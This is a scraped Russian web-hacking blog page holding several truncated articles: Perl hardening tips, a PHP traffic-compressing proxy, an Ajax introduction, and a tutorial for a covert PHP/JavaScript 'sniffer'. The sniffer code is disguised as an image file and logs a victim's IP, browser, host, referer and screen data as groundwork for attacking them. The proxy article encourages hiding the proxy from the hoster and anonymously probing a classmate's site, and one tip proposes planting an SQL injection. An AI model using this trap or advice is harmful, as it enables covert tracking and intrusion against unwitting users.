Разберём структуру внесённых в .htaccess строчек. В первой задаётся
включение механизма переписывания URL. Во второй и третьей с помощью
регулярных выражений разбирается строка запроса и переписывается адрес.
Я думаю, тут не возникнет проблем. Если регэкспы для тебя тёмный лес,
советую прочитать замечательную книгу "Mastering Regular Expressions”
от издательства O’Reilly. Она лежит в Сети в виде chm-файла и
переведена на русский. Простор для деятельности тут огромный и
ограничивается только нашей фантазией.
Для полноты картины посмотри, какие точно заголовки сервер возвращает
при обращении к настоящей .html странице, и синхронизируй с ними
заголовки, выдающиеся скриптом. Как говорится, чтоб никто не догадался
:)
Скрытие ошибок
Хакеры частенько насилуют скрипты кривыми запросами, дабы вызвать
ошибки. В них порой можно встретить необходимую для взлома информацию.
Часто видел в чужих скриптах такие строчки:
open (FILE, $file) || die ("Не открыть файл $file”);
Безусловно, сие очень удобно при поиске ошибок и отладке. Но зачем,
скажите мне, атакующему знать структуру сервера, и имя файла, который
бедный скрипт не в состоянии прочитать? Ага. Мы пойдём другой
тропинкой. Все die мы заменим на fat_err("текст_ошибки $!”), а в теле
этой функции напишем следующее:
sub fat_error{
$localtime = localtime(); #создаём код ошибки
#начинаем определение айпишника
$user_ip = $ENV{'REMOTE_ADDR'};
if ($user_ip eq "127.0.0.1")
{
if ($ENV{'HTTP_CLIENT_IP'} && $ENV{'HTTP_CLIENT_IP'} ne "127.0.0.1") {$user_ip = $ENV{'HTTP_CLIENT_IP'};}
elsif ($ENV{'X_CLIENT_IP'} && $ENV{'X_CLIENT_IP'} ne "127.0.0.1") {$user_ip = $ENV{'X_CLIENT_IP'};}
elsif ($ENV{'HTTP_X_FORWARDED_FOR'} &&
$ENV{'HTTP_X_FORWARDED_FOR'} ne "127.0.0.1") {$user_ip =
$ENV{'HTTP_X_FORWARDED_FOR'};}
}
open (LOG, "log.txt”); #открываем лог-файл
print LOG "$localtime - $user_ip - $_[0] \n----------------------------------------\n”; #пишем туда код, айпишник и текст ошибки
close (LOG); #закрываем файл
print "Вы вызвали ошибку скрипта! Обратитесь к программисту, указав код $localtime”;
die; #умираем со спокойной душой
}
Таким образом, сообщение об ошибке для пользователя будет содержать
лишь код этой ошибки, сформированный функцией localtime.
Добропорядочный юзер сообщит нам о ней, а мы откроем лог-файл и по коду
расшифруем её текст, а заодно узнаем айпишник юзера.
Это, как вы понимаете, простейший пример реализации. Можно ещё
подкинуть незадачливому взломщику дезинформацию: например, заменить
сообщения о невозможности открытия файла сообщениями MySQL. Пусть
пытается найти SQL Injection ;) Тут всё опять же ограничивается только
фантазией. Экспериментируйте, направление я вам дал.
Режекция непредвиденных фатальных ошибок
"Но ведь то die! А как быть с непредвиденными ошибками?!” –
воскликнет вдумчивый читатель, и будет абсолютно прав. Казалось бы, все
ошибки отследить нереально: там деление на нуль, тут неверный метод,
там вызывается несуществующая функция, тут заглючил Image::Magick...
Все эти, и ещё десять тысяч других ошибок, приведут к аварийному
завершению работы. Что делать? На помощь приходит блок eval.
Он знаменателен тем, что любой код, заключённый в него, не вызовет
фатальную ошибку скрипта. Даже если там будет синтаксическая ошибка!
Поэтому некоторые разработчики, в том числе и я, заключают практически
весь код в eval.
Для примера возьмём такой код:
print "start”;
eval {&main;}
print "end”;
sub main {$s=5/0; tyt kucha sintaksicheskih oshibok;}
Он, как ни странно, выполнится! И "end” напечатает. При этом в
переменной $@ будет содержаться ошибка, из-за которой остановится
выполнение eval.
Ошибку мы нашли, а дальше действуем как в прошлом пункте: скрываем её,
или пропускаем через фильтр регулярных выражений и пускаем
дезинформацию.
Защита от брутфорса
Брутфорс – автоматический перебор паролей. Крайне желательно ввести
в базу данных дополнительное поле, в котором будут считаться все
попытки зайти с неверным паролём. Как только число в поле превысит,
скажем, отметку "10”, аккаунт просто блокируется до выяснения (такой
алгоритм, например, используют для защиты sim-карты твоего мобильного
телефона). Казалось бы, это очевидно и легко реализуемо парой строчек
кода. Всё верно, однако попробуй посчитать количество движков с
подобной фишкой. Результат тебя удивит.
Ещё несколько полезных советов
Запомни одну простую вещь, о которой забывают многие программисты.
Чем меньше данных мы принимаем от пользователя, тем лучше. Рассмотрим
простейший пример: сайт со статьями. Всё, что нам нужно принять от
пользователя – это номер статьи. Раздел, и тот можно вытащить из базы.
fat_error() if $query =~ /\D/;
И всё. Никаких, я повторяю, никаких лазеек для взлома по этой части не будет. Ядерные нули и прочие сукульинжекции топают лесом.
Другой способ усложнения жизни хакеру – создание ловушек. Введи кучу
неиспользуемых параметров, ставь ненужные куки и развлекайся как
хочешь. Главное потом не запутаться в этом самому.
Если ты сомневаешься в собственной квалификации, и всё же решил
написать движок самостоятельно, могу посоветовать тебе симулировать взлом.
Да-да, я не опечатался. Допускаем в коде банальную Sql-инъекцию,
запускаем проксик и дефейсим собственный сайт, с этим справится
практически любой начинающий, прочитавший хотя бы пару номеров Хакера.
Потом заходим уже под своим нормальным айпи и устраняем дефейс. После
пишем провайдеру, что наш мега-проект поимели через такой-то скрипт, и
просим объяснить, в чём тут дело. Конкуренция среди хостеров
нем... Читать дальше »
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
|
1. Введение
В данной статье пойдет речь о нестандартном использовании PHP: для
создания сжимающего трафик PHP-скрипта, который можно использовать в
качестве виртуального прокси-сервера. Профессионалы PHP-фронта здесь
вряд ли найдут что-то новое: такое применение php не мое ноу-хау и
никаких особых функций php не используется. Остальные в этой статье
узнают о новом способе экономии кило-мега-гигабайтов во время
веб-серфинга. Не удивлюсь, если кто-то предприимчивый, прочитав эту
статью, начнет уже завтра экономить свои мегабайты. Особенно после
того, как узнает, каким образом можно построить схему прозрачной работы
этой виртуальной прокси.
На заре моей диалап-юности модемы обменивались сжатыми данными,
из-за чего конечная скорость веб-серфинга была выше в сравнении со
скачиванием zip-архива. Таким образом экономились время и деньги
клиента за счет нагрузки на процессоры модемов во время компрессии.
Настали другие времена: диалап постепенно сдает свои позиции под
натиском выделенных линий. А тут уже ни о каком сжатии трафика на
чьих-либо процессорных мощностях речи не ведется как правило: трафик
идет в своем первозданном виде, ни на байтик не сжат
(если этим не озаботились на стороне
сервера). А ведь его можно сжать!..
Для этого нам понадобится еще одно звено между браузером и
веб-сервером, которое, как модем, будет сжимать весь входящий (входящий
для браузера) трафик. Звеном этим будет являться обычный с виду
php-скрипт на удаленном веб-сервере. Именно этот скрипт в ответ на
специально составленный запрос и будет скачивать необходимую вам
страницу и уже в сжатом виде отдавать ее браузеру. Основные требования
к хостингу, на котором расположен этот php-скрипт: отсутствие баннеров
хостера, возможность использования CURL и GZIP (проверить их
доступность можно запуском скрипта с вызовом функции
phpinfo).
Чтобы лучше понять механизм работы системы промежуточного сжатия трафика, рассмотрим более подробно технологию ее работы.
2. Получение браузером страницы из сети
2.1. Обычный вызов
Допустим пользователя заинтересовала страница page.html на сервере
site.com . Он набирает URL site.com/page.html в строке адреса. Браузер
после этого производит по сети http-запрос страницы
http://site.com/page.html (на рисунке - тонкая пунктирная стрелка,
первая слева). В ответ на этот запрос веб-сервер site.com выдает
http-ответ браузеру и следом за ним тело страницы page.html (на рисунке
– жирная стрелка, вторая слева). После этого браузер отображает
пользователю на экране монитора содержимое полученной страницы.
2.2. Сжатие данных на промежуточном сервере
Введем промежуточный сервер webzip.com между браузером и
веб-сервером site.com, на котором будет происходить сжатие данных.
Алгоритм получения страницы page.html такой же, как и в предыдущем
случае за исключением того, что браузер запрашивает страницу не
непосредственно у site.com, а через webzip.com. Причем полноразмерные
(несжатые данные) идут только между site.com и webzip.com, между
браузером и webzip.com тело страницы идет в сжатом виде (на рисунке -
жирная пунктирная стрелка, третья слева). Заметим, что по причине
использования возможностей php для сжатия страницы её адрес,
запрашиваемый браузером, примет вид
http://webzip.com/myzip.php?url=http://site.com/page.html. Веб-сервер
(webzip.com), получив этот запрос, вызывает скрипт myzip.php, а тот в
свою очередь по get-параметру (пусть им будет параметр с именем «url»)
вызова производит запрос на http://site.com/page.html. Полученную
страницу скрипт myzip.php отдает браузеру в сжатом виде.
2.3. Прозрачная работа со сжатием страницы на промежуточном сервере
От предыдущего случая данный отличается тем, что работа виртуальной
сжимающей прокси для браузера, а соответственно и пользователя, не
видны. Достигается это за счет введения еще одного звена, между
webzip.com и браузером. Этим звеном является обычный http-прокси,
который помимо всего прочего занимается переписыванием исходящих
заголовков http-запросов (например, с http://site.com/page.html на
http://webzip.com/myzip.php?url=http://site.com/page.html).
3. Настройка прозрачной работы
3.1. Установка скриптов
Скачать скрипты, которые реализуют все вышеописанное, можно здесь. В
архиве три
файла: myzip.php, func.inc.php, log.php. Первый – основной файл, к
которому обращается клиент. Второй – содержит определения функций для
первого. Третий – предназначен для отображения статистики работы прокси
(содержит шаблон страницы статистики, суть берется из файлов log.log и
count.log).
Как уже было сказано ранее, разместить скрипты следует на любом
хостинге, где есть поддержка PHP, CURL, ZLIB и отсутствуют банеры. В
интернете такое можно без труда найти за 30 рублей в месяц.
Не пугайтесь платности хостинга – он с легкостью будет окупаться.
Например, если вы платите 0.05 $/МБ - потребуется 20 сэкономленных
мегабайт для оплаты хостинга, дальше выгода. По моему опыту это порядка
100-150 МБ веб-серфинга (среднее сжатие – в 4-7 раз, хотя встречается и
до 12).
Проверить правильность работы можно, набрав в браузере следующий
адрес: http://webzip.com/myzip.php?url=http://ya.ru. Если всё сделано
правильно – загрузится страница яндекса с немного видоизмененным
заголовком
(title).
3.2. Настройка Proxomitron-а
Использовался Proxomitron ver. Naoko 4.4 (http://www.proxomitron.ru).
Итак, мы хотим добиться от проксомитрона возможности прозрачной
работы с веб-проксей, иными словами скрытое преобразование исходящих
URL-ов от браузера. Для этого в главном окне проксомитрона нажимаем
клавишу «Заголовки» («Headers»). В открывшемся окне («Фильтры
заголовков HTTP» / «HTTP Header Filters») пролистываем до строки «URL:
Alias Redirector (Out)», выделяем ее. Жмем кнопку «Изменить» («Edit»),
в
развернувшемся окне («Редактор фильтров заголовка» / «HTTP Header
filter editor») заполняем поля следующим образом (все, кроме первого):
Заголовок HTTP (HTTP Header) (!не меняем!) URL: Alias Redirector (Out)
Совпадение с URL (URL Match) *
Значение заголовка (Header Value Match) *
Текст замены (Replacement text) $RDIR(http://webzip.com/myzip.php?url=\u)
Где http://webzip.com/ - URL вашего сайта, myzip.php – имя скрипта, который вы закачали на сайт.
Вся суть в последней строке: проксомитрон будет менять любой URL
(параметр «\u») от браузера на http://webzip.com/myzip.php?url=\u. Если
написать вместо $RDIR команду $JUMP, то работа проксомитрона будет
полупрозрачной: браузер будет просто перенаправляться на новый URL. В
случае использования $RDIR – перенаправление будет происходить
незаметно для браузера.
Закрываем окна, нажимая последовательно «Ок», «Применить» («Apply»),
«Ок». Если есть желание не повторять эту процедуру снова – сохраните
настройки.
В браузере прописываем прокси сервер с IP=127.0.0.1 и портом 8080
(порт, прослушиваемый проксомитроном по умолчанию).
Убедиться в том, что система сжатия трафика работает, можно всё так же
- по изменяющимся заголовкам страниц (новый <title> слева
направо: исходный и переданный браузеру размер страницы в байтах,
коэффициент сжатия, использование куков, get, post параметров, время
генерации страницы в секундах, исходный заголовок).
Поделюсь радостью - у меня даже аська заработала сквозь проксомитрон.
4. Тестовая экономия
Настроив проксомитрон, решил выразить в цифрах новую работающую
систему. Далее следует что-то вроде протокола 15-ти минут ускоренного
веб-серфинга.
Проверил через веб-интерфейс почту на mail.ru: главная страница –
уже 39 кБ экономии; вошел в ящик – уже 60 кБ; побегал по папкам,
посмотрел почту; вышел - уже 300 кБ экономии. Задал парочку запросов
яндексу – на выходе 570 кБ. Отправил три смски (Мегафон, Билайн, МТС).
Походил по форумам на sql.ru и rsdn.ru. Поискал в гугл парочку
абракадр. Смотрю на счетчик - итого два мегабайта экономии . Вроде бы
пустячок, но это всего лишь час обычной работы. Что же получится у вас
за месяц работы? Копейка рубль бережет.
5. Итого
Сразу предупрежу, что хостеры не очень приветствуют создание на их
стороне чего-либо проксо-подобного. Используйте скрипт на свой страх и
риск, отвечать вам. Однако, если вы не устраиваете публичной прокси с
многогигабайтным трафиком, то вряд ли они заметят 200-500 МБ на скрипте
– для них это капля в море. К тому же, если встроить скрипт сжатия в
другую страницу, то заметить подвох хостеру будет еще сложнее. Она
внешне (без вызова с нужным параметром «url») будет представлять собой
обыкновенную домашнюю страницу. Хотя при особом желании провайдер и эту
уловку обнаружит, но шанс мал. Ну, а если и обнаружит – скажете, что
ваш сайт сломали и «невиноватые мы». В самом худшем случае придется
сменить хостера (или аккаунт у прежнего :)).
Не рекомендую использовать подобную проксю для доступа к очень
секретной информации, поскольку все логины-пароли идут сквозь хостера и
без труда будут перехвачены при его желании. Однако, в случае
применения HTTPS не всё так просто для подлого хостера.
Несмотря на некоторую долю «неанонимности» использования технологии ее
можно использовать для легкого хака (легкого, то есть вас не будут
искать ФСБешники в случае обнаружения атаки). Например, анонимно
побаловаться с обработкой вводимых параметров на сайте одногруппника.
Если вы заглянете в код скрипта, то обнаружите там парочку
параметров, при помощи которых можно включать/выключать возможности
скрипта. Например, изменение заголовка с целью вывода статистики работы
скрипта (параметр MOD_TITLE). При желании к скрипту можно без труда
добавить дополнительную функциональность. Например, вывод протокола
работы в базу данных с целью е... Читать дальше »
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Ajax, состоящий из HTML, технологии JavaScript, DHTML и
DOM, это замечательный подход, который помогает вам преобразовать
тяжеловесные Web-интерфейсы в интерактивные Ajax-приложения. Автор,
эксперт по Ajax, демонстрирует совместную работу этих технологий (от
общего обзора до детального изучения), цель которой – сделать
чрезвычайно эффективную Web-разработку повседневной реальностью. Он
также раскрывает основные концепции Ajax, включая объект XMLHttpRequest. Пять лет
назад вы были гадким утенком (с которым никто не разговаривал), если не
знали XML. Восемнадцать месяцев назад в центре внимания оказался Ruby,
а программисты, не знающие что с ним происходит, не были приглашены к
бачку с охлажденной водой. Сегодня, если вы хотите попасть на
технологическую вечеринку, нужен Ajax.
Однако, Ajax – это далеко не чья-то прихоть, а мощный подход к созданию Web-сайтов, который не так трудно изучить, как полностью новый язык.
Перед тем, как я погружусь в детали Ajax, давайте потратим пару минут на осмысление того, что же делает Ajax. Когда в наше время вы пишете приложение, у вас есть два основных варианта:
- Настольные приложения
- Web-приложения
Оба
варианта знакомы; настольные приложения обычно поставляются на CD (или
иногда загружаются с Web-сайта) и устанавливаются целиком на вашем
компьютере. Они могут использовать Интернет для загрузки обновлений, но
код, выполняющий эти приложения, размещен на вашем рабочем столе.
Web-приложения (и это не удивительно) работают где-то на Web-сервере, а
вы обращаетесь к этим приложениям через ваш Web-браузер.
Более
важным является то, что от того, где выполняется код этих приложений,
зависит их поведение и способ вашего взаимодействия с ними. Настольные
приложения обычно достаточно быстрые (они работают на вашем компьютере;
вы не ждете интернет-подключения), имеют отличные пользовательские
интерфейсы (обычно взаимодействующие с вашей операционной системой) и
невероятно динамичны. Вы можете щелкать мышкой, вводить текст,
пользоваться ниспадающими и всплывающими меню, перемещаться по окнам
практически без каких-либо задержек.
С другой стороны,
Web-приложения обычно самые свежие по времени и предоставляют
возможности, которые вы никогда бы не смогли иметь на вашем компьютере
(вспомните Amazon.com и eBay). Однако с могуществом Web приходит
ожидание – ожидание ответа от сервера, ожидание обновления экрана,
ожидание ответа на запрос и генерирования новой страницы.
Ясно,
что все это упрощение, но вы получили общее представление. Как вы,
возможно, уже подозреваете, Ajax пытается преодолеть разрыв между
функциональностью и интерактивностью настольного приложения и всегда
обновленным Web-приложением. Вы можете использовать динамические
пользовательские интерфейсы, аналогичные имеющимся в настольном
приложении, но доступные в Web-приложении.
Так чего же мы
ждем? Начнем рассмотрение Ajax и способов превращения ваших неуклюжих
Web-интерфейсов в чувствительные Ajax-приложения.
Старая технология, новые хитрости
Что
касается Ajax, то реальность такова, что он охватывает много технологий
– для его освоения необходимо углубиться в несколько различных
технологий (вот почему я разобью на независимые части первые несколько
статей из этой серии). Хорошей новостью является то, что вы, возможно,
уже знаете достаточно о многих из этих технологий – большинство из этих
индивидуальных технологий изучаются легко (определенно не так трудно,
как язык программирования полностью, например Java или Ruby).
 |
Определение Ajax
Между
прочим, Ajax – это аббревиатура от Asynchronous JavaScript and XML (и
DHTML, и т.д.). Фраза была придумана Джессе Джеймсом Гарретом из
Adaptive Path и, по словам Джессе, не предназначалась быть аббревиатурой.
|
|
Вот основные технологии, вовлеченные в Ajax-приложения:
- HTML используется для создания Web-форм и указания полей для использования в вашем приложении.
- JavaScript-код – это основной код, выполняющий Ajax-приложения и обеспечивающий взаимодействие с серверными приложениями.
- DHTML, или Dynamic HTML, помогает динамически обновлять формы. Вы будете использовать
div, span и другие динамические HTML-элементы для разметки вашего HTML. - DOM,
Document Object Model (объектная модель документов), будет
использоваться (через код JavaScript) для работы и со структурой вашего
HTML, и (в некоторых случаях) с XML, полученным от сервера.
Рассмотрим
все это по отдельности и разберемся в том, что делает каждая из этих
технологий. Я исследую каждую из них в следующих статьях; сейчас просто
познакомимся поближе с этими компонентами и технологиями. Чем больше вы
знаете о них, тем легче перейти от бессистемных знаний к освоению
каждой из них (и действительно улучшить процесс разработки
Web-приложений).
Объект XMLHttpRequest
Первый объект, о котором вы хотите узнать, возможно, самый новый для вас; он называется XMLHttpRequest. Это объект JavaScript, и он создается так же просто, как показано в листинге 1.
Листинг 1. Создание нового объекта XMLHttpRequest
<script language="javascript" type="text/javascript">
var xmlHttp = new XMLHttpRequest();
</script>
|
Я детально расскажу об этом
объекте в следующей статье, а сейчас осознайте, что это объект, который
управляет всем вашим взаимодействием с сервером. Прежде чем идти
дальше, остановитесь и подумайте об этом – это технология JavaScript в объекте XMLHttpRequest, который общается с сервером. Это не обычный ход работы приложения, и именно здесь заключается почти вся магия Ajax.
В нормальных Web-приложениях пользователи заполняют поля форм и нажимают кнопку Submit
(подтвердить). Затем форма передается на сервер полностью, сервер
обрабатывает сценарий (обычно PHP или Java, возможно, CGI-процесс или
что-то в этом роде), а потом передает назад всю новую страницу. Эта
страница может быть HTML-страницей с новой формой с некоторыми
заполненными данными, либо страницей подтверждения, либо, возможно,
страницей с какими-то выбранными вариантами, зависящими от введенных в
оригинальную форму данных. Естественно, пока сценарий или программа на
сервере не обработается и не возвратится новая форма, пользователи
должны ждать. Их экраны очистятся и будут перерисовываться по мере
поступления новых данных от сервера. Вот где проявляется низкая
интерактивность – пользователи не получают немедленной обратной реакции
и определенно чувствуют себя не так, как при работе с настольными
приложениями.
Ajax по существу помещает технологию JavaScript и объект XMLHttpRequest
между
вашей Web-формой и сервером. Когда пользователи заполняют формы, данные
передаются в какой-то JavaScript-код, а не прямо на сервер. Вместо
этого JavaScript-код собирает данные формы и передает запрос на сервер.
Пока это происходит, форма на экране пользователя не мелькает, не
мигает, не исчезает и не блокируется. Другими словами, код JavaScript
передает запрос в фоновом режиме; пользователь даже не замечает, что
происходит запрос на сервер. Более того, запрос передается асинхронно,
а это означает, что ваш JavaScript-код (и пользователь) не ожидают
ответа сервера. То есть, пользователи могут продолжать вводить данные,
прокручивать страницу и работать с приложением.
Затем сервер
передает данные обратно в ваш JavaScript-код (все еще находящийся в
вашей Web-форме), который решает, что делать с данными. Он может
обновить поля формы "на лету", придавая свойство немедленности вашему
приложению – пользователи получают новые данные без подтверждения или
обновления их форм. JavaScript-код может даже получить данные,
выполнить какие-либо вычисления и передать еще один запрос, и все это
без вмешательства пользователя! В этом заключается мощь XMLHttpRequest.
Он может общаться с сервером по своему желанию, а пользователь даже не
догадывается о том, что происходит на самом деле. В результате мы
получаем динамичность, чувствительность, высокую интерактивность
настольного приложения вместе со всеми возможностями интернет.
Добавление JavaScript-кода
После того, как вы разберетесь с XMLHttpRequest,
оставшийся JavaScript-код превращается в рутинную работу. Фактически,
вы будете использовать JavaScript-код для небольшого числа основных
задач:
- Получить данные формы: JavaScript-код упрощает извлечение данны... Читать дальше »
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Узнать о пользователе интернета хоть какую-то информацию порой весьма
проблематично. Ведь, как известно, в Сети путешествуют не только
чайники, ламеры и секретарши, но и более-менее продвинутые
пользователи, которые не поддаются на уловки, вроде "зайди на эту
страничку" или "скачай файлик ...". Допустим, нам требуется нарыть всю
возможную информацию о пользователе (т.е. получить версию ОС, тип
браузера, провайдера и т.д.), чтобы потом его заттачить и, в случае
удачи, заполучить данные, хранящиеся на жестком диске.
Готовимся к покушению
Нет-нет, сегодня мы не
будем маскировать вирусы, кидать в чатах подозрительные ссылки и
заниматься другой, не внушающей доверия деятельностью. Сегодня у нас
все будет цивильно, технологично и хитро. Получать инфу мы будем при
помощи веб - сайта.
Итак, для начала регистрируем новый сайт на каком-нибудь халявном
Apache - хостинге, поддерживающем PHP и .htaccess. В качестве примера
могу предложить популярный хост Jino-Net.ru . После регистрации зайдите
на FTP сайта и создайте новую папку, например IMAGES. Теперь все
готово, пришла пора расставить все точки над i и понять, что же нам,
собственно, предстоит делать.
Теоретический момент
Как известно,
взаимодействие пользователя с веб-ресурсами происходит через
программу-браузер. Чтобы попасть на нужный сайт, мы вводим адрес в
адресной строке обозревателя (или просто нажимаем на ссылку) и, после
нескольких секунд (а то и минут) ожидания, можем увидеть контент
странички. На самом деле, здесь все чрезвычайно просто: браузер
посылает некий запрос веб-серверу, на котором расположен сайт, а
веб-сервер отвечает на этот запрос, причем ответом зачастую является
веб-страница, которую юзер в последствии видит на экране своего
монитора. Но процесс "запрос<->ответ" не происходит без
"побочных" данных. Например, браузер сообщает серверу информацию о себе
(т.е. кем, он, собственно, является: "Ослом" (Internet Explorer),
"Лисой" (Mozilla Firefox) и т.д.), IP адрес клиента, номер удаленного
порта и другие служебные данные. А сервер, в свою очередь, посылает
обозревателю заголовки, содержащие в себе тип запрашиваемого файла
(HTML, CSS, JS, ZIP, RAR и т.д.), тип кодировки, код ответа (404, 403,
200 и т.д.). На основе полученной информации браузер решает, каким
образом ему предстоит работать с документом.
К чему же это было сказано? А к тому, уважаемые читатели, что на основе
вышенаписанного текста можно сделать вывод, что мы сможем использовать
сервер для сбора ценной информации о пользователе-жертве.
Для реализации задумок я выбрал язык PHP, поскольку он наиболее удобен и понятен в освоении.
На этом закончим нудную теорию и перейдем к самому интересному - к практике.
Реализуем он-лайн сниффер
Для начала, необходимо создать файл с расширением php в папке IMAGES
(не меняйте имя директории, позже я расскажу, почему посоветовал
назвать папку именно так). Такой файл сервер будет воспринимать как
скрипт и выполнять команды внутри него. Назовите файл именем
photo001.php. Теперь нужно разобраться, что же необходимо написать в
теле скрипта.
Данные, которые нам необходимо получить, хранятся в так называемых
переменных окружения. Для того, чтобы извлечь значение переменной (т.е.
получить IP пользователя, тип браузера и т.д.) в PHP необходимо вызвать
функцию getenv(). Ниже я привожу те значения аргумента функции (т.е.,
по сути, имена переменных), которые помогут извлечь данные:
getenv("REMOTE_ADDR") - возвращает IP пользователя;
getenv("HTTP_USER_AGENT") - возвращает тип браузера;
getenv("REMOTE_PORT") - возвращает удаленный порт;Далее.
Все данные, которые поможет изъять PHP, мы будем записывать в отдельный
LOG - файл. Создайте в директории IMAGES файл logs.txt. Теперь все
готово для работы скрипта:
$get_time = date("d.m.Y (H:i:s)", time());
$get_ip = getenv("REMOTE_ADDR");
$get_browser = getenv("HTTP_USER_AGENT");
$get_port = getenv("REMOTE_PORT");
$get_connect = $_SERVER['HTTP_CONNECTION'];
$get_host = gethostbyaddr(getenv("REMOTE_ADDR"));
$get_referer = @$_SERVER['HTTP_REFERER'];
$fopen = fopen ("logs.txt", "a+");
fputs ($fopen, "\r\n ---------- Detected at $get_time--------------
\r\n");
fputs ($fopen, "IP: \t $get_ip \r\n");
fputs ($fopen, "Browser: \t $get_browser \r\n");
fputs ($fopen, "Port: \t $get_port \r\n");
fputs ($fopen, "Host: \t $get_host \r\n");
fputs ($fopen, "Connection: \t $get_connect \r\n");
fputs ($fopen, "Referer: \t $get_referer \r\n");
fclose ($fopen);
?>Собственно,
что же тут произошло. В переменную $get_time мы записываем время
запуска скрипта (чтобы узнать, когда жертва попалась в уловку). С
$get_ip, $get_browser и $get_port все должно быть понятно (об этом я
писал выше). Функция gethostbyaddr() получает адрес хоста, через
который пользователь путешествует в интернете (а по адресу можно
определить и провайдера). $_SERVER['HTTP_REFERER'] содержит страницу, с
которой пользователь перешел на скрипт - так называемый реферер (знак
"собака" @ указан для того, чтобы анализатор PHP не выводил ошибки,
если значение переменной не задано (т.е. пользователь зашел на страницу
напрямую)). $_SERVER['HTTP_CONNECTION'] определяет тип соединения
(бывает Keep-Alive (грубо говоря, обычное соединение) и Closed (с
использованием прокси - сервера)). С помощью функции fopen()
открывается файл logs.txt; аргумент a+ говорит о том, что мы добавляем
в логи инфу (а не затираем файл прежде, чем добавить что-либо). Fputs()
добавляет в файл некоторую строку, содержимое которой указывается во
втором аргументе. Как видите, строки могут содержать переменные, а
когда скрипт будет добавлять строки в файл, он автоматически заменит
имя переменной на ее содержимое. Символ \r\n заменяется на перевод
строки; \t - табуляцию.
И это не все, что мы можем узнать о пользователе. Ведь существует такой
замечательный инструмент, как JavaScript, при помощи которого можно
узнать разрешение экрана, глубину цвета, платформу браузера. Но
проблема в том, что JavaScript не умеет работать с файлами и является,
по сути, клиентским языком, т.е. выполнение команд происходит не
сервером, а браузером клиента. Но этот нюанс не помешает записать
дополнительную информацию о пользователе. В "Яве" существуют так
называемые объекты, а внутри объектов содержатся некоторые данные.
Сегодня нас интересует два объекта: navigator и screen. Чтобы получить
какое-то значение из объекта, необходимо задать этому объекту свойство.
Наш скрипт будет извлекать:
screen.width - ширина экрана (в пикселях)
screen.height - высота экрана (в пикселях)
screen.colorDepth - глубина цвета экрана (в битах)
navigator.platform - платформа браузера Так
как же PHP - скрипту получить JS - данные ? Можно сделать это скрыто,
через объект XMLHttpRequest() (т.е. передать POST - запрос), но мы
реализуем несколько упрощенный вариант: передадим информацию через
адресную строку, через так называемый GET - запрос. Для этого пишем
скрипт:
print "
";
?> Давайте
разбираться. Свойство location.replace является функцией, которая
осуществляет редирект (перенаправление) пользователя на новый URL.
Переменная $_SERVER['PHP_SELF'] содержит в себе адрес текущей страницы.
По поводу остального содержания строки я скажу чуть позже.
Итак, пользователь перенаправляется на новый URL, в адресной строке,
после знака вопрос ? записана информация, собранная JavaScript. Теперь
дело за малым: получить эту информацию PHP-скриптом.
Как я уже говорил, все, что находится после вопроса является GET -
запросом. Через адресную строку мы передаем переменные и их значения.
Разделителем переменной и значения является амперсенда & . Т.е. в
запросе
loged=1&w=800&h=600&d=32&p=Win32
для PHP - скрипта доступно 5 переменных: loged ; w ; h ; d ; p. А эти
переменные, как известно, сгенерированы JavaScript'ом и содержат в себе
дополнительную информацию о пользователе, которую необходимо дописать в
ЛОГ - файл. Скрипт считывания GET - запроса и его запись в файл
выглядит так:
$fopen = fopen ("logs.txt", "a+");
foreach ($_GET as $key => $value)
{
fputs ($fopen, "$key \t $value\r\n");
}
fclose ($fopen);
?>В
PHP любой запрос (GET и POST) записывается в массив. Причем массив
является ассоциативным, т.е. чтобы получить значение переменной loged
необходимо указать $_GET['loged']. Но в своем скрипте я рассмотрел
общий случай, т.е. происходит получение значения каждой переменной.
Осуществляется задумка циклом foreach. Функции Fopen() и Fputs() вам
уже известны.
Собственно, вот и все! Мы по кусочкам написали скрипт-ловушку,
но остались две немаловажные вещи: собрать скрипт целиком и
замаскировать его.
Но для начала воссоединяем кусочки кода и получаем примерно такую
картину: $query = @$_SERVER['QUERY_STRING'];
if ($query == "" or !ereg("^loged=1", $query))
{
$get_time = date("d.m.Y (H:i:s)", time());
$get_ip = getenv("REMOTE_ADDR");
$get_browser = getenv("HTTP_USER_AGENT");
$get_port = getenv("REMOTE_PORT");
$get_connect = $_SERVER['HTTP_CONNECTION'];
$get_host = gethostbyaddr(getenv("REMOTE_ADDR"));
$get_referer = @$_SERVER['HTTP_REFERER'];
$fopen = fopen ("logs.txt", "a+");
fputs ($fopen, "\r\n ---------- Detected at $get_time--------------
\r\n");
fputs ($fopen, "IP: \t $get_ip \r\n");
fputs ($fopen, "Browser: \t $get_browser \r\n");
fputs ($fopen, "Port: \t $get_port \r\n");
fputs ($fopen, "Host: \t $get_host \r\n");
fput... Читать дальше »
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (1)
|
| |
|
|
|
|
|
|
|
|
Эта статья
может быть полезна тем, кто пишет программу,
работающую с HTTP. При запросе какого либо
документа сервер выдает служебную
информацию, которую просто необходимо
анализировать для дальнейшей работы. Самой
первой строкой сервер возвращает так
называемый код ответа, являющийся числом в
диапазоне 100-599 и определяющий результат
запроса. Эти коды распределены по следующим
группам:
100-199 ::
Информационный код.
200-299 :: Успешный запрос клиента.
300-399 :: Переадресация запроса клиента.
400-499 :: Ошибочный запрос.
500-599 :: Ошибка сервера.
Рассмотрим эти
группы поподробнее:
Информационный
Ответ. Коды 100-199.
Указывает на то, что идет обработка
запроса клиента.
100 Continue. Возможно
продолжение запроса клиента.
101 Switching Protocols. Сервер
использует запрос клиента для переключения
протоколов.
Успешный
Запрос Клиента. Коды 200-299.
Запрос клиента успешен, возможно
продолжение работы.
200 ОК. Запрос
успешен, сервер возвращает запрошенный
документ.
201 Created. Сервер
создает новый ресурс. Обычно является
результатом запроса PUT.
202 Accepted.
Запрос клиента принят.
203 Non-Authoritative Information.
Информация в заголовке объекта
предоставлена не сервером.
204 No Content.Запрос
успешен, но в ответе отсутствует контент.
205 Reset Content.Программа
просмотра должна очистить форму,
используемую для этой транзакции для
дополнительного ввода.
206 Partial Content.Сервер
не может возвратить всю запрошенную
информацию.
Переадресация
Запроса Клиента. Коды 300-399.
Запрос не был выполнен, необходимо
обратиться к другому ресурсу для его
